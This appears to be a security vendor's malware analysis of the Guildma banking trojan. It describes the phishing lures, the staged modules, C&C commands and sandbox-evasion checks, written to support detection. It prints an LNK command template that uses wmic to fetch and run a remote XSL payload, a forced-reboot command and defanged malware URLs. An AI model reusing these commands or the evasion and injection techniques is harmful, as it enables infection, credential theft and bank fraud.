For several months now, we have been tracking malware called Guildma. Guildma is powerful combination of a RAT (remote access tool), spyware, password stealer and banker malware, mainly distributed via malicious attachments in phishing email campaigns.
The cybercriminals behind Guildma have primarily focused on targeting Brazilian users and services, but since May 2019 they have expanded their target pool and are now targeting more than 130 banks and 75 other web services around the world.
We estimate that the first versions of Guildma were created in 2015, based on the available clues in our analysis and previous research conducted on Guildma. Malware researchers have done some analysis of Guildma in the past, but only focused on the first stages of the malware. Our analysis provides detailed information about all of Guildma’s stages, module functionality, C&C servers, commands and a long list of targeted services and applications, as well as a description of the evolution of features.
The malware authors have used large amounts of domains, various infection and stealing techniques, and programming languages (Delphi, JS, VBS,..) during Guildma’s long existence, but, on the other hand, they also used the same or very similar code patterns like encryption algorithm and seeds, URL path format, variables or file names. With these patterns, we have been able to track the entire campaign with high accuracy, even if some parts of the malware or modules have been changed.
Campaign overview
The campaign spreads via phishing emails posing as invoices, tax reports, invitations and similar types of messages containing a ZIP archive attachment with a malicious LNK file. When a user opens the malicious LNK file, it abuses the Windows Management Instrumentation Command-line tool and silently downloads a malicious XSL file. The XSL file downloads all of Guildma’s modules and executes a first stage loader, which loads the rest of the modules. The malware is then active and waits for commands from the C&C server and/or specific user interactions, such as opening a webpage of one of the targeted banks.
Originally, the campaign targeted Brazilian users and services, by spreading tailored phishing emails. However, we have protected more than 26,000 Avast users from 155,000 Guildma infection attempts, globally, this year.
Examples of attachment file names (with translations):
Original name | Translation / Info |
anexo pedido.htm.zip | attachment request.htm.zip |
curriculo.htm.zip | CV.htm.zip |
curriculum_.htm.zip | |
bolthersdf34201-master.zip | |
deposito.identificado.htm.zip | deposit.identified.htm.zip |
dados unidas rent a car.htm.zip | |
nota_fiscal.484.582.85.zip | invoice.484.582.85.zip |
decisao_judicial.htm.zip | judicial_decision.htm.zip |
seguradora_tokio.htm.zip | insurance_tokyo.htm.zip |
cheque.htm.zip | check.htm.zip |
Stage zero: Hacked websites and PHP shell mailers
The phishing emails used to spread Guildma are mainly sent through shady rented or purchased websites, or using hacked websites, by installing or copying malicious PHP code, with mass mailing functions, to the website code. The malware authors usually use a custom PHP shell, based on a simple mail function with a specific header.
This suspicious X-Mailer value is also heavily used in other spam campaigns, malicious mass mailer tools and webshell scripts. While the optional X-headers are rather suspicious, the content types and encodings are standard – both ISO-8859-1 (Latin 1 encoding) and Base64 are common for text and attachments, respectively.
Attached LNK file
The archive attached to the phishing email contains a malicious Shell Link (LNK) file, which as described above, is used as a downloader for the next stage.
The LNK file opens a minimized Windows Management Instrumentation Command-line tool (wmic.exe) using the Command Shell (cmd.exe) to download and execute a next stage XSL file with a malicious payload. (MITRE T1220 Squiblytwo Technique)
LNK Target format:
%ComSpec% /c start /MIN %SystemRoot%\\system32\\wbem\\wmic os get <random strings> /format:"<url_to_xsl_file>" && exit
The LNK comment field is filled with a fully random string, with a random length, and the Run
field is always set to Minimized
.
Other suspicious fields are: CreationTime, AccessTime and WriteTime. If they are filled, they are always set to 11/21/2010 (03:24:06) [UTC]
.
We spotted more than 4,800 unique malicious LNK samples with 280 hard coded domains since September 2018. The sample count slightly increased since April 2019 and since then, the daily count is approximately 50 unique samples.
Examples of LNK file names:
Original name | Translation / Info |
nf-e00127532011181.lnk | NF-e is an electronic invoice document used in Brazil |
acordo-semparar.html.lnk | agreement.html.lnk |
curriculum_completo_002.73569270.lnk | full_CV_002.73569270.lnk |
nota_fiscal_eletronica.0028170201827.lnk | NF-e is an electronic invoice document used in Brazil |
abrir_documento63082628700.lnk | open_document63082628700.lnk |
arquivo.gerado.em.03.01.2019.910.lnk | generated.archive03.01.2019.910.lnk |
boletobradesco2786.pdf.lnk | Boleto is payment method in Brazil |
We also found an XSL file version that generates and executes the same command as the LNK files.
At the end of April 2019, the malware authors created a new LNK file version with an obfuscated target command and download URL occasionally pointing to the TOR network, which they probably did to avoid antivirus detections.
XSL file
SHA256: 1a89b4c8079d00b7f1575462a2cc7e5f9ac6d488abc5b167001ab676b62930b8
The main purpose of the included JavaScript payload is to download all of Guildma’s modules and execute the first stage DLL module using default Windows tools and applications.
The malicious JavaScript code is slightly obfuscated with the fromCharCode
function or using public web-based obfuscators.
The deobfuscated download function uses the BITSAdmin tool to download the payload. The corresponding code, used up to version 138 of Guildma, is shown below:
The authors updated the XSL file in version 139 of Guildma and added another Base-64 encoding layer, decoded using the certutil application at the end of April 2019.
Enhanced download function from version 139:
They also sometimes use simple obfuscation over parts of the Javascript code as of version 138, probably generated with free web-based obfuscator tools:
Suspicious variable and function names:
The malicious JavaScript contains many unique and unusual variable and function names, including Lucifer
and Astaroth
, and the authors use the same names for a long time, without changing them.
Variable names | Function names |
xLuciferxs, xCaverax, xVRXastaroth, pingadori, sVarXEDRaz, raraiz, sdjkhiwewsw, kdcafex, MaisShell, smaeVar | function radador(min, max) function Bxaki(url, file) function vgos(min) |
Downloader URLs:
All the URLs are partially hard-coded and partially generated in JavaScript and the domains are changed almost every day. The authors renamed a download file extension to .zip.log
from version 139.
Format:
http:\/\/\w+\d{7}\.\w+\.(website|pw|space|fun|site|xyz|club|com):250\d{2}\/\d{2}\/\w+(a|b|c|dwwn|dx|e|f|g|gx|xa|xb|98|hh)\.(jpg|gif|dll)\.zip(\.log)?\?\d{9}
For example:
hxxp://q239hEFLK1379515.cavaleira1.website:25013/09/rakpat0rpcackb.jpg.zip?505797016
We spotted version 139 of Guildma hosted on Github by a user named winsvrx
. The account was created on March 29, 2019 and was actively maintained with almost 40 commits up until April 30, 2019, when the account was quickly removed by the Github security team after we discovered and reported it.
Github URL:
hxxps://github.com/winsvrx
The authors then switched to Google Storage after the Github removal, and continued with active development and malware spreading. We also reported this to Google, and the bucket/service was removed.
Google Storage URL:
hxxps://storage.googleapis.com/ultramaker/
The authors updated the botnet in version 140 and switched to a new Google Storage URL in June 2019:
hxxps://storage.googleapis.com/bradok/
Botnet version:
The first interesting variable, smaeVar
, probably indicates a campaign version, release month or just directory names for different set of URLs. The malware authors used 03, 04, 06, 07, 08, 09 directories for the campaign hosted on Github and Google Storage.
The second variable, skvidro
, indicates a version of the malware and as of the end of June 2019, it is version 140.
The malware authors also change the download directory with every new version, stored in the sVarRaz
variable.
Malicious domains: see Appendix C.1.
Module execution:
The first module (64) is executed using the regsrv32
tool, after all other modules are successfully downloaded.
The malware authors abused our binary file aswrundll.exe
for this purpose at the end of 2018, but our developers quickly fixed it and this technique is no longer possible.
Downloaded modules:
The Guildma binaries are separated into various stages and modules. Some modules are simply encrypted and all modules are also Base64 encoded as of version 139 of the malware.
Download directory format:
c:\users\public\libraries\<campaign_download_dir>
The current campaign download directory is temporary
, previously it was awsvideos
and raptor
.
Module file names format:
campaign_file_name(64|98|xa|xb|dwwn|dx|gx|a|b|c|e|f|g)\.(~|gif|jpg)
File names example:
rakpat0rpcack64.~
rakpat0rpcack98.~
rakpat0rpcackxa.~
rakpat0rpcackxb.~
rakpat0rpcackdwwn.gif
rakpat0rpcackdx.gif
rakpat0rpcackg.gif
rakpat0rpcackgx.gif
rakpat0rpcacka.jpg
rakpat0rpcackb.jpg
rakpat0rpcackc.jpg
rakpat0rpcacke.jpg
rakpat0rpcackf.jpg
Modules with GIF and JPG extensions are “encrypted” using the weak Shift-XOR algorithm based on seed.
Downloaded modules are encrypted with a couple of different seed values 0x457
, 0x33f45263
(up to version 138) and 0xa2c99
(since version 139).
Generated XOR keys from seeds:
0x457:
572B158A452211080402010000000000000000000000000000000000000000000x33F45263:
6331984C269349A45229148A45A2D1E8F4FAFD7E3F9FCF6733190C06030100000xA2C99:
994C2693C964B2592C168B45A25128140A050201000000000000000000000000
The first seed generated very weak keys, full of null bytes, which is not a very suitable value for XOR operations ;). The second seed 0x33f45263
has remained unchanged since the end of 2015.
Module flow graph:
Malware details:
All the core Guildma malware modules are written in Borland Delphi and they are probably based on well-known open source RATs like Delphi Remote Access PC
, AmigoRAT
or PureRAT
, according to code patterns.
The string encryption/obfuscation algorithm was also used in other Delphi malware families, so the malware authors may have copied or purchased this part too.
Python representation of string encryption algorithm:
The malware does not use any kind of “master” configuration file or data structure and many important variables (URLs, paths etc.) are computed, encrypted and hard-coded to various places in the compiled binaries. Because variables, like module file names, correspond to previous stages, the authors must recompile all binaries and scripts every time they change, for example, the C&C domains. We assume they use automated source code pre-processing scripts.
Module 64 (Loader)
SHA256: 8d516dacdc00d76a44f987b654ffe39145eb02c5013b3dc504a3bf65d7e503cb
This is the first executed module that served as a loader for the next stage, module 98, and prepared data from two downloaded files (XA and XB files) for further usage.
The module 98 path is hard-coded and changes with every campaign. The export name “mangusbold”
has been the same for the three versions (versions 137- versions 139).
Loading the XA and XB modules is realized using old 16bit kernel functions, like _lopen
, _lread
and _lclose
.
We spotted an attempt to use a fake and invalid Avast certificate on module binaries in version 139.
Module 98 (Loader)
SHA256: 9a8df74f32dbf64672745b2bb427410e49b1e53441d7b4ca32e8c82ac4d44557
This is the second module, and also used as a loader for the next stage. The main purpose is to merge the previously prepared XA and XB data blobs into one module, reconstruct the created module in memory and execute it.
Module XA+XB (Injector)
Module XA – the first part of the module binary:SHA256: 37e87eac8138491630822e335e4cc74edbd6424b2f92ee3b1bee28423aa63b78
Module XB – the second part of the module binary:SHA256: e1b08233100a573c6de711152bc894e0a612f26ddacce8e365514cdd6c968614
Merged module:SHA265: 244b06da6f405b35579ce9643c08bc5420b460a254096ab1646a515c94ecc7c6
The primary purpose of this module is to inject the GX module into one of the targeted files. The default targeted file is a system application, userinit.exe
. The second targeted file is part of the GAS Tecnologia protection tool, Warsaw.
The malware authors use a simple, common technique using the CreateProcess > SetContext > ResumeThread
combo, where malicious code runs in the context of another process.
The injected module inside the userinit.exe
process:
The whole process tree:
This module runs in an endless loop and watches the injection result through the module G window name, every 852 seconds. If the window is not found, the module performs a new injection.
Module GX (Injector)
SHA256: edba9b33cb49fca3302387ec019e676a4e022709e54a2945eff25ddf409ef98d
Module GX is a final loader for module G (core module), inside the injected process memory from the previous stage.
The module structure is almost the same as the previous module, in that it also includes the endless loop and the injection result check using the core module’s window name, but the malware authors applied easy obfuscation there.
Clean code without obfuscation:
The memory DLL loading, relocation and import table reconstruction code is based on a public BTMemoryModule
created by Martin Offenwagner.
Module DWWN (RAT)
SHA256: ca7c94b5012c5285d466a5c27647b26106c8017e93172a4d092322c66f1d0fa9
The module DWWN uses two levels of C&C servers. Whenever the C&C has to be contacted and the address of the second-level C&C server is not discovered, a first-level C&C server (see Appendix E.1) is contacted at the address <first-level C&C domain>//09/dsct.txt
.
The response may contain the second-level C&C server’s domain encrypted by a simple substitution cipher which performs the ROT-7
operation with the following alphabet (i.e. U
is substituted with e
, V
with f
, 9
with d
etc.):
UVZabcdefghijkçlm23Atuvxyz!@#$%8FYNÃOPQR=-><;.014567pqrBCSTnoGHI?/\|"~[]{}JKLMÇWX&*()_+DEãs9
The number “09”
in the path seems to be incremented with every new version. Note that the same C&C retrieval method is also used by data extractor, mailer and core module. The disassembly indicates that this is facilitated by a custom library, as the corresponding code differs in hard-coded lists of addresses only.
The events shown below have their names prefixed by a string Tmsodebriedgw
(more specifically the objects themselves are prefixed). The module has three windows (A, B, and C), each with its own FormCreate
event (<prefix><form>_<event>
). Similarly, timers/threads have their own additional prefix msodebriedgwe
(<prefix><form>_<timer prefix><label>Timer
). For the sake of readability, we have omitted these prefixes and used reformatted names.
All the timers, that are children of Form A
, and provide functionality if and only if xkill
has not been run since startup. Another pattern, that will be prevalent even later, also emerges – every timer is disabled at its event start and enabled towards the end, unless noted otherwise.
Module object diagram
FormCreate – Form A
This is the main form that orchestrates all the functionality. At the beginning, 4 bytes are read from the PrintWindow API function, and client UID
is prepared (<NETBIOS name>_<hex-encoded volume info>
). Also, all the timers are disabled.
The window belonging to this form is hidden to a random position that is outside of the client’s monitor screen (the position is beyond the monitor’s resolution). Then the remaining two windows (or more specifically their respective forms) are initialized. The form also checks for a previous running instance by checking for a window name of a form <time ddmmyyyyddmmyyyy>
. If such a window is found, the xkill
action is performed (see A82::thread_proc
command 0x276
for more details); otherwise the window is renamed to <time ddmmyyyyddmmyyyy>
with values corresponding to the current client’s time.
Afterwards, the logging is started by enabling Timer A1
(logger). Also, the path to libraries
directory, the clients UID
and the name of its own window is logged. This kind of logging is added to the message with a timestamp and is appended to TMemo
(multi-line textbox). If this textbox contains more than 3,000 lines, it is cleared.
FormCreate – Form B
The same trick, as in the case of Form A
, is then used to hide the window – the window is positioned outside of the client’s monitor screen.
The window’s position is then logged through Form A
in the format:
PosY<y coordinate>posiçăoX:<x coordinate>
FormCreate – Form C
The same trick, as in the case of Form A
, is then used to hide the window – the window is positioned outside of the client’s monitor screen.
Similarly to Form B
, the window’s position is formatted into a string y:<y coordinate>x:<x coordinate>
and logged through Form A
. The initial position is set to (19 777, 16 777). This position is later on changed to (17 660, 18 652) and logged again in the format
yy1: <y coordinate>xx1: <x coordinate>
Note that these locations are significantly beyond coordinates that are shown on any consumer-grade screen.
Afterwards, a Guildma web browser window is created using the TWebBrowser
object which provides access to the web browser functionality of Microsoft’s Shell Doc Object and Control Library (SHDOCVW.DLL library). The name of this window is set to msodebridgwe_Navite
. The window is then moved to a new position and again the position is logged in the format
PosC2222Y: <y coordinate>posiçăoC2222X: <x coordinate>
At the end, the browser is navigated to a blank page (about:blank).
During the execution, a number of the “stage” (numbers 1 to 6) is logged, again via Form A
. These “stages” are:
browser window creation
, setting width
, setting height
, repositioning of the window
, position logging
, about:blank
.
Timer A1 (logger) – Form A
The functionality is directed by log files generated by the core module in Timer 14
(see Timer 14 for more details).
If a specific log file is found then its number is saved into a variable and a target_flag
is saved for further use. Handles to windows (browser window, program manager/progman, and a browser-specific window) are written into labels msodebriedgweA1[1-3]
.
The only exception is \\hd3sys.log
, which requires a buttonclass
window to get the browser parent window. Others use the label msodebriedgweA10
to save the required handle that was saved into the log file.
The string [VS: <bot version> ]<log text>-> <date> <timestamp>
is logged and the log is uploaded to the C&C server. At the end, Timers A2
and A4
are enabled and the log file, used at the beginning, is deleted.
Log file name | Log file number | Target flag | Browser | Log text |
\\hd1sysa.log | 1 | xIT_IE_ | Internet Explorer | <!ABRIUUUUU!> |
\\hd1sysb.log | 1 | xIT_CHR_ | Chrome | <!ABRIUUUUU!> |
\\hd1sysc.log | 1 | xIT_FF_ | Firefox | <!ABRIUUUUU!> |
\\hd2sysa.log | 2 | xST_IE_ | Internet Explorer | <!ABRIU_OKOK!> |
\\hd2sysb.log | 2 | xST_CHR_ | Chrome | <!ABRIU_OKOK!> |
\\hd2sysc.log | 2 | xST_FF_ | Firefox | <!ABRIU_OKOK!> |
\\hd3sys.log | 3 | xIT_APP_ | Chrome | <!ABRIUUUUU!> |
\\hd4sys.log | 4 | xNE_APP_ | Firefox | <!ABRIU_TORETTO!> |
\\hd4sysa.log | 4 | xNE_IE_ | Internet Explorer | <!ABRIU_TORETTO!> |
\\hd4sysb.log | 4 | xNE_CHR_ | Chrome | <!ABRIU_TORETTO!> |
\\hd4sysc.log | 4 | xNE_FF_ | Firefox | <!ABRIU_TORETTO!> |
\\hd5sysa.log | 5 | xCOOB_IE_ | Internet Explorer | <!ABRIU_OKOK!> |
\\hd5sysb.log | 5 | xCOOB_CHR_ | Chrome | <!ABRIU_OKOK!> |
\\hd5sysc.log | 5 | xCOOB_FF_ | Firefox | <!ABRIU_OKOK!> |
\\hd5sysd.log | 5 | xCOOB_APP_ | Defined in log file | <!ABRIU_OKOK!> |
\\hd6sysa.log | 6 | xSEDI_IE_ | Internet Explorer | <!ABRIU_OKOK!> |
\\hd6sysb.log | 6 | xSEDI_CHR_ | Chrome | <!ABRIU_OKOK!> |
\\hd6sysc.log | 6 | xSEDI_FF_ | Firefox | <!ABRIU_OKOK!> |
\\hd7sysa.log | 7 | xBB_IE_ | Internet Explorer | <!ABRIU_OKOK!> |
\\hd7sysb.log | 7 | xBB_CHR_ | Chrome | <!ABRIU_OKOK!> |
\\hd7sysc.log | 7 | xBBI_FF_ | Firefox | <!ABRIU_OKOK!> |
\\hd8sysa.log | 8 | xGF_NOR_IE_ | Internet Explorer | <!ABRIU_OKOK!> |
\\hd8sysb.log | 8 | xGF_NOR_CHR_ | Chrome | <!ABRIU_OKOK!> |
\\hd8sysc.log | 8 | xGF_NOR_FF_ | Firefox | <!ABRIU_OKOK!> |
\\hd9sysa.log | 9 | xGF_TKN_IE_ | Internet Explorer | <!ABRIU_OKOK!> |
\\hd9sysb.log | 9 | xGF_TKN_CHR_ | Chrome | <!ABRIU_OKOK!> |
\\hd9sysc.log | 9 | xGF_TKN_FF_ | Firefox | <!ABRIU_OKOK!> |
\\hd15sysa.log | 15 | xDIVS_IE_ | Internet Explorer | <!ABRIU_OKOK!> |
\\hd15sysb.log | 15 | xDIVS_CHR_ | Chrome | <!ABRIU_OKOK!> |
\\hd15sysc.log | 15 | xDIVS_FF_ | Firefox | <!ABRIU_OKOK!> |
\\hd16sysa.log | 16 | xLIVRE_IE_ | Internet Explorer | <!ABRIU_OKOK!> |
\\hd16sysb.log | 16 | xLIVRE_CHR_ | Chrome | <!ABRIU_OKOK!> |
\\hd16sysc.log | 16 | xLIVRE_FF_ | Firefox | <!ABRIU_OKOK!> |
Timer A2 (scout) – Form A
Similarly to Timer A1
, this timer executes a working code if and only if xkill
has not been run since the initialization. At first, this timer tries to close windows with the following names:
Name | Comment |
Mensagem da página da web | Translation: Message from the web (default Internet Explorer alert window title) |
Mensagem da p6gina da web | Ditto |
MozillaDialogClass | Mozilla Firefox dialog window |
Aviso de Segurança | Translation: Security Warning |
Alerta de Segurança | Translation: Security Alert |
#32770 | Class name of the Windows dialog box |
The parent window’s class names are checked against the following list:
iefram
, chrome
, mozilla
, BUTTONCLA
, sunawtframe
, HwndWrapper
, ApplicationFrameWindow
, Bradesco
If a match is found, this timer is not disabled (or more specifically is re-enabled after being disabled at the beginning). Otherwise a string
[VS: <bot version>]<!FECHOOOOOOU!>->
is appended to the log (again via Form A
), the log is sent to the C&C server, and the xkill
command is executed. Also, if the class name is not matched, the current time is saved into the label msodebriedgweA15
.
Timer A3 (reporter) – Form A
At the beginning, a message msodebriedgweA3Timer
is appended to the log. Then the value of the xfuso
HTML element from the browser window in Form C
is extracted. If this value is zero then the timer does nothing. Otherwise, a log entry of the form is created and sent to the C&C server. ID
value is stored inside auid.log
file created by G module.
-----------[VS:<bot_version>]---------
<xfuso_element_value>
-----------------------------
<timestamp dd/mm/yy hh:nn:ss>
Versăo:<version_number>
Cliente:<target_flag><UID>
ID:<value_from_auid_log_file>
Versao com QRCODE Ativo.
----------------------------
Afterwards, a site, determined by the target_flag
value, is loaded in the Form C
browser window. The check verifies whether the following substrings are present in the target_flag
(converted to lowercase) value.
Target Flag | URL |
xit_ | <C&C_server>/it2.html |
xne_ | <C&C_server>/ne2.html |
xst_ | <C&C_server>/st2.html |
xgf_ | <C&C_server>/gf2.html |
xbb_ | <C&C_server>/bb2.html |
xcef_ | <C&C_server>/cef2.html |
xsedi_ | <C&C_server>/sedi2.html |
xcoob_ | <C&C_server>/coob2.html |
xdivs_ | <C&C_server>/divs2.html |
Timer A4 (Thread starter A82) – Form A
The initial window detection is the same as for Timer A2
, also followed by their closing. This timer also does not re-enable itself and creates a thread Thread A82
. Similarly to Timer A2
, the current time is saved into the label msodebriedgweA15
.
Timer enologia6 (Thread starter A81) – Form A
Same as Timer A4
, only the timer uses Thread A81
and msodebriedgweA14
.
Thread A81
Depending on the inner state, a screenshot of the focused window, parent window, or Form B
is made. The screenshot is saved to img<target_flag><UID>_dat_<timestamp><image_counter>.jpg
. The image is then compressed with zlib, encoded with Base64. Its name is encoded with a custom algorithm (see Python code below) with a hardcoded seed (0x3f2
); the result is also encoded with Base64. These two Base64 strings are joined together and encoded with Base64 and sent to the C&C server via a POST request:
<C&C domain>/?9=Base64(<encoded image name><encoded image data>)
Custom string encoding algorithm rewritten into Python:
Timer enologia6
is also enabled by this thread.
Encoded result examples:
Original string : test_string
Encoded (r=10) : KnLmVnKnLmPnKnLnJnAnFmX
Encoded (r=23) : XnYnJnXnYnDnXnYnWnNnSnL
Thread A82
At the beginning, Timer A4
is disabled, as it does not disable itself. Similarly to Timers A4
and enologia6
, this thread attempts to close windows with specific names.
The target flag is set to puxa
and a command is sent to the C&C server using the GET request:
<C&C domain>/?3=Base64(encode(<UID>cmd.html)encode(section3))
The function encode
refers to the aforementioned combination of the custom encoding and Base64 encoding. The response uses the same encoding combination and may contain several command numbers separated by $
, each command may have parameters separated by *
.
The parsed command is then processed. The details are described in the table below:
Command hex value | Description |
0xD1 | Download a file from the C&C, save it as iewx.exe, and execute it. |
0x3E7 | Download a file from the C&C and save it. |
0x65 | If “xCOOB_APP_” target_flag is defined, send left mouse click to position (<parameter 1>, <parameter 2>), or perform 0x6C command. |
0x66 | Send keydown event for button <parameter 1> to the window. |
0x67 | Send keydown event for character defined in <param 3> to the window. |
0x68 | Find sunawtcanvas window and send keydown event defined in <parameter 1> to it. |
0x69 | Find sunawtcanvas window and send keydown event for character defined in <parameter 3> to it. |
0x6A | Find sunawtcanvas window and set window position to (100, 100), and set both width and height to 100. Click twice in the window’s middle and send a character sequence defined in <parameter 3> to it. |
0x6B | Find sunawtcanvas window, click twice in the window’s middle and send a character sequence defined in <parameter 3> to it. |
0x6C | Get size of the foreground window, set cursor position defined to a position (<parameter 1>, <parameter 2>), and send left mouse button click to From B. |
0x6D | Send a character sequence defined in <parameter 3> to the active window via custom PostMessage function which could set up Windows modifier keys (CTRL, ALT, SHIFT) state correctly. |
0x6E | Click in the active window and send a character sequence defined in <parameter 3> via custom PostMessage function which could set up Windows key state correctly. |
0x6F | Send mouse click and keydown event defined in <parameter 1> to window |
0xD2 | Set Timer A4 interval to value defined in <parameter 1> Set Timer enologia6 interval to value defined in <parameter 2> Set screenshot JPG compress quality to value defined in <parameter 3> |
0x3 | Set the screenshot counter to 0. |
0x14D | Set the screenshot counter to 0 and enable Timer enologia6. |
0x14A | Set the screenshot counter to 0 and disable Timer enologia6. |
0x12C | Set Form B as a parent window, log its position in the format PosC1Y<y coordinate> posiçăoC1X:<x coordinate> Set Form C background image, add 64 and 64 to the top position. Log the new position in the form PosC2222Y<y coordinate> posiçăoC2222X:<x coordinate> and after a while set the Form B window to full screen. Also log its positionPosC1Y<y coordinate> posiçăoC1X:<x coordinate>Set make_screenshot variable to 1. Append string [VS: <malware version>]<!POKO-LOKO!-> to the log and upload it to the C&C server. |
0x12E | Download custom file <parameter 3> from the C&C server. |
0x12D | Enable Timer A3 and append [VS: <malware version>]<!CATANDO!>-> (which means CATCHING) to the log and send it to C&C server. Note that only <malware version> is a variable, the rest is a literal string. |
0x13 | Send keyup event with <parameter 1>. |
0xFA | Set screenshot JPG compress quality to <parameter 3> (default value is 7). |
0xFB | Set Form C width to <parameter 1> and height to <parameter 2>. |
0x26C | Enable the function that takes screenshots from a defined rectangle. |
0x26E | Set Form C as the foreground window. |
0x26D | Disable the function which makes screenshots from a defined rectangle |
0xB | Save unknown data to file pblq<time dd.mm>.ini |
0x271 | Set Form A width to <parameter 1> and height to <parameter 2>. |
0x276 | Perform xkill action: Disable all Form A timers. Close all DWWN module related forms windows (A, B, C). Perform TaskKill (see Appendix A.3). |
0x277 | Close Form A. |
0x27F | Execute commands: cmd /k shutdown -r -t 0 -f cmd /k shutdown -r -t 1 -f cmd /k shutdown -r -t 0 -f |
0x280 | Saves unknown data to file pblqxx<time dd.mm>.ini and execute same reboot command as command 0x27F. |
0x281 | Delete files pblqxx<time dd.mm>.ini, pblqrr<time dd.mm>.ini, pblq<time dd.mm>.ini |
0x282 | Save unknown data to the file pblqrr<time dd.mm>.ini |
0x285 | Enable (disabled by default) the function that takes screenshots of current window. |
0x286 | Disable the function that takes screenshots of current window. |
0x287 | Set form A window to full screen and move it to the position (0, 0). |
0x288 | Enable (disbled by default) the function that takes screenshots of new parent windows. |
0x289 | Disable the function that takes screenshots of new parent window. |
0x28A | Get handle window form MozillaWindowClass if found. |
0x28B | Set the parent window position to (0, 0) |
0x28C | Write down malware version and client uid to the file logpak. Load content of auid.log and auidv137xx.log. Send the data to the main the C&C server. |
0x28E | Get list of all windows and upload it to the C&C server. |
0x28F | Get list of child windows and upload it to the C&C server. |
0x290 | Get list of windows where handle window is defined in <parameter 1> and upload it to the C&C server. |
0x291 | Find window defined in <parameter 3>, click on it and send keydown defined in <parameter 1>. Uses SendMessage API only. |
0x292 | Find window defined in <parameter 3>, click on it and send keydown defined in <parameter 1>. Uses both SendMessage and PostMessage API. |
0x293 | Find child window of the window name defined in <parameter 3>, click on it and send keydown defined in <parameter 1>. Uses SendMessage API only. |
0x294 | Find child window of window name defined in <parameter 3>, click on it and send keydown defined in <parameter 1>. Uses both SendMessage PostMessage API. |
0x295 | Send VK_RETURN to the window handle defined in <parameter 1>. |
0x296 | Set window handle variable to a value defined in <parameter 1>. |
0x297 | Set target_flag to: if <parameter 1> == 1 then set “xIT_APP_” if <parameter 1> == 2 then set “xIT_IE_” if <parameter 1> == 3 then set “xIT_CHR_” if <parameter 1> == 4 then set “xIT_FF_” if <parameter 1> == 5 then set “xST_IE_” if <parameter 1> == 6 then set “xST_CHR_” if <parameter 1> == 7 then set “xST_FF_” if <parameter 1> == 8 then set “xNE_APP_” if <parameter 1> == 9 then set “xNE_IE_” if <parameter 1> == 10 then set “xNE_CHR_” if <parameter 1> == 11 then set “xNE_FF_” if <parameter 1> == 12 then set “xCOOB_IE_” if <parameter 1> == 13 then set “xCOOB_CHR_” if <parameter 1> == 14 then set “xCOOB_FF_” if <parameter 1> == 15 then set “xCOOB_APP_” if <parameter 1> == 16 then set “xSEDI_IE_” if <parameter 1> == 17 then set “xSEDI_CHR_” if <parameter 1> == 18 then set “xSEDI_FF_” if <parameter 1> == 19 then set “xBB_IE_” if <parameter 1> == 20 then set “xBB_CHR_” if <parameter 1> == 21 then set “xBB_FF_” if <parameter 1> == 22 then set “xGF_NOR_IE_” if <parameter 1> == 24 then set “xGF_NOR_CHR_” if <parameter 1> == 25 then set “xGF_NOR_FF_” if <parameter 1> == 26 then set “xGF_TKN_IE_” if <parameter 1> == 27 then set “xGF_TKN_CHR_” if <parameter 1> == 28 then set “xGF_TKN_FF_” if <parameter 1> == 29 then set “xDIVS_IE_” if <parameter 1> == 30 then set “xDIVS_CHR_” if <parameter 1> == 31 then set “xDIVS_FF_” |
0x298 | Get text from msodebriedgweA11 label and load window handle variable into it. |
0x299 | Find MozillaWindowClass window and its sibling window of Program Manager, append [VS: <malware version>]<!CONCERTOU APP!>-> to the log and upload it to the C&C server. Note that only <malware version> is a variable, the rest is a literal string. |
0x29A | It may change address of main C&C address to http://<main C&C>/0<number>, the variable <number> may range from 2 to 7. |
0x29B | Call SetParent API function for switch desktop window to the new parent window. |
0x29C | Set Form C window position to (11110, 11110). |
0x29D | Take screenshot and create Base64 encoded JPG image from a rectangle defined in parameters 1-4. Set up parameters for POST request (data, referrer, user-agent, connection and x1, x2 coordinates) and send created image to the C&C server. Append [VS: <malware version>]<!QR Buscando>-> to the log and upload it to the C&C server. Note that only <malware version> is a variable, the rest is a literal string. |
0x29E | Find the window name defined in <parameter 3> via hWndParent and its sibling window of Program Manager, append [VS: <malware version>]<!AJUSTE HANDLE!>-> string to log and upload it to the C&C server. Note that only <malware version> is a variable, the rest is a literal string. |
0x29F | Find the window name defined in <parameter 3> via hWnd and its sibling window of Program Manager, append [VS: <malware version>]<!AJUSTE HANDLE!>-> string to log and upload it to the C&C server. Note that only <malware version> is a variable, the rest is a literal string. |
0x2A0 | Find window name defined in <parameter 3> in all processes and its sibling window of Program Manager, append [VS: <malware version>]<!AJUSTE HANDLE!>-> string to log and upload it to C&C server. Note that only <malware version> is a variable, the rest is a literal string. |
Module DX (RAT)
SHA256: d22f0ed199a6e713079da3be83eee4df504f5d6cde23fee483ca4d9660603ff3
The DX module has the same source code as the DWWN module, but it is compiled as an EXE file and contains a TLS Directory. The reason for having the two same modules (DLL and EXE version) is because they have different use cases. The core module injects DX module into a predefined process or loads the DWWN module, like a dynamic library.
Module G (Core module)
SHA256 : 53e91dd21afd39562a2b43b4938af0698a2d727b995fb4eae3ebeed90a8b81ee
Module G is the main module that orchestrates all the auxiliaries. It handles application tracking, telemetry retrieval, C&C communication, and module injection. The functionality is very diverse, ranging from bot, banker to keylogger and password-stealer.
The module is protected by sandbox checks, OS language checks and anti-emulation tricks.
Throughout the execution, it frequently performs checks for opened windows, mostly looking for banking applications or PuTTY. These detections trigger injections, screenshots, key hooking and “flag” file creation. All these actions are orchestrated by a vast array of interacting timers with a rather complicated hierarchy.
Initialization phase
The initialization phase is unusually extensive and could be roughly divided into three steps that are executed in the presented order. This phase starts with the encryption keys being loaded by the modules, followed by the first step.
Anti-emulation
The module checks whether the NETBIOS name or Volume ID matches one from a hard-coded table (see table below). These values correspond to names and IDs of prevalent sandboxing solutions and emulators. At this step, the module also verifies whether the computer is running in Portuguese which matches the most prevalent target location – Brazil.
Table of NETBIOS names and their corresponding Volume IDs that are being checked:
NETBIOS name | Volume ID |
virus | 42ED18C57DC3 |
sagat | 6086A85F86C9 |
sakura | 46EC0123DE62F5 |
zangief | 23C8659C4298CB0A |
malware | 112BC37FB021A533 |
brbrb | C87EBF6D99C8 |
bisonwoo | B54DF922D775DA72B3 |
tequilaboomboom | A34DFD20D30E4C95A540FF3EF8598FB6 |
placeholfa | 0124DF0E37AF2EA540F305 |
johnpc | 708FB15585C61C |
homeoffdfac | 3DF02FD37FDD72E01728D96E |
baed | 53E00D3DE7 |
abcxp | 29DF0D3FF151 |
– | 2CD8749857F4 |
brbrbd | 679C40ED26BB16 |
vmgclient | 022DD5729333AA28C46C |
luserpc | E70139E30FB21540 |
nyxmachine | 25C60FC870E270E018D369 |
